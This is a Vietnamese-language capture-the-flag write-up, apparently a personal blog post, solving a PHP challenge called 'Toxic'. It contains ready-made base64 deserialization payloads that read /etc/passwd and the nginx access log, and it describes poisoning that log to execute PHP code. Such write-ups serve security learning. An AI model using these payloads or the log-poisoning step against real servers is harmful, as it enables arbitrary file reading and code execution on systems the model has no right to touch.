Toxic

 
Kiểm tra website tôi thấy:

Tồn tại PHPSESSID được mã hóa base64 giả mã nó tôi được
O:9:"PageModel":1:{s:4:"file";s:15:"/www/index.html";}
Đây có thể là một lỗ hổng về deserialize.
Phân tích source code:
if (empty($_COOKIE['PHPSESSID']))
{
    $page = new PageModel;
    $page->file = '/www/index.html';

    setcookie(
        'PHPSESSID', 
        base64_encode(serialize($page)), 
        time()+60*60*24, 
        '/'
    );
} 

$cookie = base64_decode($_COOKIE['PHPSESSID']);
unserialize($cookie);
Trong đoạn source code sau PHPSESSID đã được giải mã base64 sau đó unserialize dữ liệu đó thành một đối tượng thuộc lớp PageModel.
class PageModel
{
    public $file;

    public function __destruct() 
    {
        include($this->file);
    }
}

Biến file trong PageModel đã được include để hiển thị lên website. Từ đây tôi thấy mình có thể đọc được bất kỳ file nào trên server nếu tôi chỉnh sửa tên file trong PHPSESSID.

Tôi có Payload như sau:

echo 'O:9:"PageModel":1:{s:4:"file";s:11:"/etc/passwd";}' | base64
Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxMToiL2V0Yy9wYXNzd2QiO30K

Thay đổi PHPSESSID và tôi nhận được nội dung file passwd:

Sau đó tôi cố gắng đọc file flag nhưng không thành công, khản năng do tên file đã được thay đổi.
Trong nginx.conf tôi thấy:
http {
    server_tokens off;
    log_format docker '$remote_addr $remote_user $status "$request" "$http_referer" "$http_user_agent" ';
    access_log /var/log/nginx/access.log docker;

    charset utf-8;
...

Tôi nhận thấy rằng log file được lưu trong file access.log tôi có thể trèn code php vào file trên và thực thi nó bằng cách đọc file access.log.

Sau khi chèn code xong tôi dùng payload sau để thực hiện đọc file access.log.
echo 'O:9:"PageModel":1:{s:4:"file";s:25:"/var/log/nginx/access.log";}' | base64
Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoyNToiL3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZyI7fQo=
Sau khi upload payload lên và tôi nhận được kết quả sau:
Sau khi có được tên file flag. Tôi sử dụng payload sau để đọc file:
echo 'O:9:"PageModel":1:{s:4:"file";s:11:"/flag_*****";}' | base64
Upload payload lên và tôi nhận được flag.


Dryu8

Dryu8 is just a newbie in pentesting and loves to drink beer. I will be happy if you can donate me with a beer.

Post a Comment

Previous Post Next Post